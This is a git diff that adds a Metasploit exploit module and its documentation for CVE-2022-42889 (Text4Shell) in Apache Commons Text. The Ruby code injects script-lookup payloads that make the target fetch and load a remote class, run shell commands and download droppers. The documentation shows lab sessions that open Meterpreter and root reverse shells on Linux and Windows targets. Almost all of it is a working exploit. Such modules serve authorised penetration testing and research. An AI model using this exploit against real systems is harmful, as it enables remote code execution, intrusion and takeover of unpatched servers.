diff --git a/documentation/modules/exploit/multi/http/apache_commons_text4shell.md b/documentation/modules/exploit/multi/http/apache_commons_text4shell.md new file mode 100644 index 000000000000..81f6d8a1237e --- /dev/null +++ b/documentation/modules/exploit/multi/http/apache_commons_text4shell.md @@ -0,0 +1,253 @@ +## Vulnerable Application + +This exploit takes advantage of the StringSubstitutor interpolator class, +which is included in the Commons Text library. A default interpolator +allows for string lookups that can lead to Remote Code Execution. This +is due to a logic flaw that makes the “script”, “dns” and “url” lookup +keys interpolated by default, as opposed to what it should be, according +to the documentation of the StringLookupFactory class. Those keys allow +an attacker to execute arbitrary code via lookups primarily using the +"script" key. + +In order to exploit the vulnerabilities, the following requirements must +be met: + + Run a version of Apache Commons Text from version 1.5 to 1.9 + Use the StringSubstitutor interpolator + Target should run JDK < 15 + +## Setup +1. `git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker` +1. `cd cve-2022-42889-text4shell-docker` +1. `mvn clean install` +1. `docker build --tag=text4shell .` +1. `docker run -p 80:8080 text4shell` +1. Vulnerable application now running at port 8080 on docker image's ip address + +## Verification Steps +1. Setup the application +1. Start msfconsole +1. Do: `use apache_commons_text4shell` +1. Do: `set RHOST ` +1. Do: `set RPORT 8080` +1. Do: `set TARGETURI /text4shell/attack` +1. Do: `set PARAM search` +1. Do: `set LHOST docker0` +1. Do: `run` + +## Options + +### PARAM +The parameter vulnerable to the exploit. + +### METHOD +The HTTP method to use. Default: `GET` + +### TARGETURI +The URI to target. Default: `/` + +## Scenarios + +### Apache Commons Text 1.8 on Alpine Linux v3.9 JDK 8 + +Check: +``` +msf6 > use exploit/multi/http/apache_commons_text4shell +[*] Using configured payload java/meterpreter/reverse_tcp +msf6 exploit(multi/http/apache_commons_text4shell) > set lhost docker0 +lhost => 172.17.0.1 +msf6 exploit(multi/http/apache_commons_text4shell) > set rhost 172.17.0.2 +rhost => 172.17.0.2 +msf6 exploit(multi/http/apache_commons_text4shell) > set rport 8080 +rport => 8080 +msf6 exploit(multi/http/apache_commons_text4shell) > set targeturi /text4shell/attack +targeturi => /text4shell/attack +msf6 exploit(multi/http/apache_commons_text4shell) > set param search +param => search +msf6 exploit(multi/http/apache_commons_text4shell) > check + +[+] 172.17.0.2:8080 - The target is vulnerable. Successfully tested command injection. +``` + +Target: java +``` +msf6 exploit(multi/http/apache_commons_text4shell) > set target 0 +target => 0 +msf6 exploit(multi/http/apache_commons_text4shell) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Using URL: http://172.17.0.1:8080/cuGgfHN/ +[*] Sending stage (57692 bytes) to 172.17.0.2 +[*] Meterpreter session 16 opened (172.17.0.1:4444 -> 172.17.0.2:39832) at 2023-12-23 23:03:31 +0530 +[*] Server stopped. + +meterpreter > +``` + +Target: Linux Command +``` +msf6 exploit(multi/http/apache_commons_text4shell) > set target 3 +target => 3 +msf6 exploit(multi/http/apache_commons_text4shell) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Command shell session 17 opened (172.17.0.1:4444 -> 172.17.0.2:36446) at 2023-12-23 23:04:10 +0530 + +id +uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) +``` + +Target: Linux Dropper +``` +msf6 exploit(multi/http/apache_commons_text4shell) > set target 4 +target => 4 +msf6 exploit(multi/http/apache_commons_text4shell) > run + +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Using URL: http://172.17.0.1:8080/L8kRU1E8O/ +[*] Client 172.17.0.2 requested /L8kRU1E8O/ +[*] Sending payload to 172.17.0.2 +[*] Sending stage (3045380 bytes) to 172.17.0.2 +[*] Command Stager progress - 100.00% done (113/113 bytes) +[*] Meterpreter session 18 opened (172.17.0.1:4444 -> 172.17.0.2:39580) at 2023-12-23 23:04:35 +0530 +[*] Server stopped. + +meterpreter > +``` + +### Apache Commons Text 1.8 on Windows 11 home JDK 14.0.2 + +Target: Windows EXE Dropper +``` +msf6 exploit(multi/http/apache_commons_text4shell) > options + +Module options (exploit/multi/http/apache_commons_text4shell): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + METHOD GET yes The HTTP method to use (Accepted: GET, POST) + PARAM search yes The vulnerable parameter + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI text4shell/attack yes The target URI + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen + on all addresses. + SRVPORT 5000 yes The local port to listen on. + + +Payload options (windows/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 172.18.168.145 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Windows EXE Dropper + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/apache_commons_text4shell) > run + +[*] Started reverse TCP handler on 172.18.168.145:4444 +[*] Command Stager progress - 17.01% done (2046/12025 bytes) +[*] Command Stager progress - 34.03% done (4092/12025 bytes) +[*] Command Stager progress - 51.04% done (6138/12025 bytes) +[*] Command Stager progress - 68.06% done (8184/12025 bytes) +[*] Command Stager progress - 84.24% done (10130/12025 bytes) +[*] Sending stage (200774 bytes) to 172.18.160.1 +[*] Command Stager progress - 100.00% done (12025/12025 bytes) +[*] Meterpreter session 5 opened (172.18.168.145:4444 -> 172.18.160.1:53165) at 2024-01-15 00:14:33 +0530 + +meterpreter > sysinfo +Computer : HOME +OS : Windows 11 (10.0 Build 22631). +Architecture : x64 +System Language : en_GB +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > +``` + +Target: Windows Command +``` +msf6 exploit(multi/http/apache_commons_text4shell) > options + +Module options (exploit/multi/http/apache_commons_text4shell): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + METHOD GET yes The HTTP method to use (Accepted: GET, POST) + PARAM search yes The vulnerable parameter + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 172.18.160.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + TARGETURI text4shell/attack yes The target URI + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen + on all addresses. + SRVPORT 5000 yes The local port to listen on. + + +Payload options (cmd/windows/powershell/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + LHOST 172.18.168.145 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 2 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/apache_commons_text4shell) > run + +[*] Started reverse TCP handler on 172.18.168.145:4444 +[*] Sending stage (175686 bytes) to 172.18.160.1 +[*] Meterpreter session 6 opened (172.18.168.145:4444 -> 172.18.160.1:53170) at 2024-01-15 00:15:18 +0530 + +meterpreter > sysinfo +Computer : HOME +OS : Windows 11 (10.0 Build 22631). +Architecture : x64 +System Language : en_GB +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter >``` diff --git a/modules/exploits/multi/http/apache_commons_text4shell.rb b/modules/exploits/multi/http/apache_commons_text4shell.rb new file mode 100644 index 000000000000..2cddc0d1a5b7 --- /dev/null +++ b/modules/exploits/multi/http/apache_commons_text4shell.rb @@ -0,0 +1,200 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::Java::HTTP::ClassLoader + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Apache Commons Text RCE', + 'Description' => %q{ + This exploit takes advantage of the StringSubstitutor interpolator class, + which is included in the Commons Text library. A default interpolator + allows for string lookups that can lead to Remote Code Execution. This + is due to a logic flaw that makes the “script”, “dns” and “url” lookup + keys interpolated by default, as opposed to what it should be, according + to the documentation of the StringLookupFactory class. Those keys allow + an attacker to execute arbitrary code via lookups primarily using the + "script" key. + + In order to exploit the vulnerabilities, the following requirements must + be met: + + Run a version of Apache Commons Text from version 1.5 to 1.9 + Use the StringSubstitutor interpolator + Target should run JDK < 15 + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Alvaro Muñoz', # Original research + 'Karthik UJ', # PoC + 'Gaurav Jain', # Metasploit module + ], + 'References' => [ + ['CVE', '2022-42889'], + ['URL', 'https://sysdig.com/blog/cve-2022-42889-text4shell/'], + ['URL', 'https://github.com/karthikuj/cve-2022-42889-text4shell-docker'] + ], + 'Platform' => ['win', 'linux', 'unix', 'java'], + 'Targets' => [ + [ + 'Java (in-memory)', + { + 'Type' => :java, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'DefaultOptions' => { 'Payload' => 'java/meterpreter/reverse_tcp' } + }, + ], + [ + 'Windows EXE Dropper', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :windows_dropper, + 'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' } + } + ], + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Type' => :windows_cmd, + 'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } + } + ], + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_jjs' } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2022-10-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The target URI', '/']), + OptString.new('PARAM', [ true, 'The vulnerable parameter']), + OptEnum.new('METHOD', [ true, 'The HTTP method to use', 'GET', ['GET', 'POST']]) + ]) + end + + def check + vprint_status("Checking if #{peer} can be exploited.") + res = send_exp + return CheckCode::Unknown('No response received from target.') unless res + + # blind command injection using sleep command + sleep_time = rand(4..8) + vprint_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.") + _res, elapsed_time = Rex::Stopwatch.elapsed_time do + send_exp("java.lang.Thread.sleep(#{sleep_time * 1000})") + end + vprint_status("Elapsed time: #{elapsed_time.round(2)} seconds.") + return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time + + CheckCode::Vulnerable('Successfully tested command injection.') + end + + def exploit + case target['Type'] + when :java + # Start the HTTP server to serve the payload + start_service + # Trigger a loadClass request via java.net.URLClassLoader + trigger_urlclassloader + # Handle the payload + handler + when :windows_cmd, :unix_cmd + execute_command(payload.encoded) + when :windows_dropper, :linux_dropper + execute_cmdstager + end + end + + def trigger_urlclassloader + url = get_uri + + vars = Rex::RandomIdentifier::Generator.new + + exp = "var #{vars[:str_arr]} = Java.type('java.lang.String[]');" + exp << "var #{vars[:obj]} = new java.net.URLClassLoader([new java.net.URL(new java.lang.String(java.util.Base64.getDecoder().decode('#{Rex::Text.encode_base64(url)}')))]).loadClass('metasploit.Payload');" + exp << "#{vars[:obj]}.getMethod('main', java.lang.Class.forName('[Ljava.lang.String;')).invoke(null, [new #{vars[:str_arr]}(1)]);" + + res = send_exp(exp) + + fail_with(Failure::Unreachable, 'No response received from the target') unless res + fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 + end + + def execute_command(cmd, _opts = {}) + vars = Rex::RandomIdentifier::Generator.new + + exp = "var #{vars[:arr]} = [#{win_target? ? '"cmd.exe", "/c"' : '"/bin/sh", "-c"'}, new java.lang.String(java.util.Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(cmd)}\"))];" + exp << "java.lang.Runtime.getRuntime().exec(#{vars[:arr]});" + + res = send_exp(exp) + + fail_with(Failure::Unreachable, 'No response received from the target') unless res + fail_with(Failure::Unknown, 'An unknown error occurred') unless res.code == 200 + end + + def send_exp(exp = '') + vars = datastore['METHOD'] == 'GET' ? 'vars_get' : 'vars_post' + send_request_cgi( + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri.path), + + vars => { + datastore['PARAM'] => "${script:javascript:#{exp}}" + } + ) + end + + def win_target? + target['Platform'] == 'win' + end + + def on_request_uri(cli, request) + case target['Type'] + when :java + # Call method to handle java payload staging + super(cli, request) + else + # Handle win/unix cmd staging + client = cli.peerhost + print_status("Client #{client} requested #{request.uri}") + print_status("Sending payload to #{client}") + send_response(cli, exe) + end + end +end